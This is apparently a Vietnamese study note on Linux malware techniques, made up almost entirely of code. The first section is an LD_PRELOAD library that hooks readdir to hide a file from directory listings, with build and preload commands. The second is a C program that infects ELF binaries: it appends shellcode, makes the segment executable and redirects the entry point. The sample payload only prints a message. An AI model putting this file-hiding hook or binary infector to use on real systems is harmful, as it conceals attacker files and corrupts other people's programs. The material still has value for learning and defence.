---
# System prepended metadata

title: malware linux

---

1. Dùng `LD_PRELOAD ` để chỉ định một thư viện .so được nạp trước tất cả các thư viện mặc định.

```cpp!
#include <stdio.h>


#define HIDDEN_FILE "filename.txt"


static struct dirent *(*original_readdir)(DIR *) = NULL;


struct dirent *readdir(DIR *dirp) {
    if (!original_readdir) {
        original_readdir = dlsym(RTLD_NEXT, "readdir");
        if (!original_readdir) {
            perror("dlsym readdir");
            return NULL;
        }
    }

    struct dirent *entry;
    while ((entry = original_readdir(dirp)) != NULL) {
        if (strcmp(entry->d_name, HIDDEN_FILE) == 0)
            continue;
        return entry;
    }
    return NULL;
}

```


`gcc -fPIC -shared -o hide_file.so hide_file.c -ldl`


`LD_PRELOAD=$PWD/hide_file.so`

sau đó ls



2. Inject shellcode to program
```cpp!
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <elf.h>
#include <string.h>
#include <stdint.h>
#include <sys/stat.h>


unsigned char shellcode[] = {
    0xb8,0x01,0x00,0x00,0x00,                      // mov eax, 1
    0xbf,0x01,0x00,0x00,0x00,                      // mov edi, 1
    0x48,0x8d,0x35,0x0f,0x00,0x00,0x00,            // lea rsi, [rip+0xf]
    0xba,0x18,0x00,0x00,0x00,                      // mov edx, 24
    0x0f,0x05,                                     // syscall
    0xb8,0x3c,0x00,0x00,0x00,                      // mov eax, 60
    0x31,0xff,                                     // xor edi, edi
    0x0f,0x05,                                     // syscall
    // message (24 bytes)
    0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,
    0x6e,0x20,0x73,0x75,0x63,0x63,0x65,0x73,
    0x73,0x66,0x75,0x6c,0x6c,0x79,0x21,0x0a
};

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <target ELF file>\n", argv[0]);
        return 1;
    }

    const char *filename = argv[1];
    int fd = open(filename, O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    struct stat st;
    fstat(fd, &st);
    size_t size = st.st_size;

    // Extend the file size to hold shellcode
    if (ftruncate(fd, size + sizeof(shellcode)) < 0) {
        perror("ftruncate");
        return 1;
    }

    void *mem = mmap(NULL, size + sizeof(shellcode), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
    if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) {
        fprintf(stderr, "Not an ELF\n");
        return 1;
    }

    printf("[*] Original entry point: 0x%lx\n", ehdr->e_entry);

    Elf64_Phdr *phdr = (Elf64_Phdr *)((char *)mem + ehdr->e_phoff);

    // Find last LOAD segment
    Elf64_Phdr *last_load = NULL;
    for (int i = 0; i < ehdr->e_phnum; i++) {
        if (phdr[i].p_type == PT_LOAD)
            last_load = &phdr[i];
    }


    // Determine injection offset and vaddr
    uint64_t inject_offset = last_load->p_offset + last_load->p_filesz;
    uint64_t inject_vaddr  = last_load->p_vaddr  + last_load->p_filesz;

    printf("[+] Injecting shellcode at offset: 0x%lx, vaddr: 0x%lx\n", inject_offset, inject_vaddr);

    // Copy shellcode to new offset
    memcpy((char *)mem + inject_offset, shellcode, sizeof(shellcode));

    // Expand segment to include shellcode
    last_load->p_filesz += sizeof(shellcode);
    last_load->p_memsz  += sizeof(shellcode);
    last_load->p_flags  |= PF_X;

    // Set new entry point
    ehdr->e_entry = inject_vaddr;
    printf("[+] New entry point set to: 0x%lx\n", ehdr->e_entry);

    msync(mem, size + sizeof(shellcode), MS_SYNC);
    munmap(mem, size + sizeof(shellcode));
    close(fd);

    printf("Injection complete\n");
    return 0;
}

```


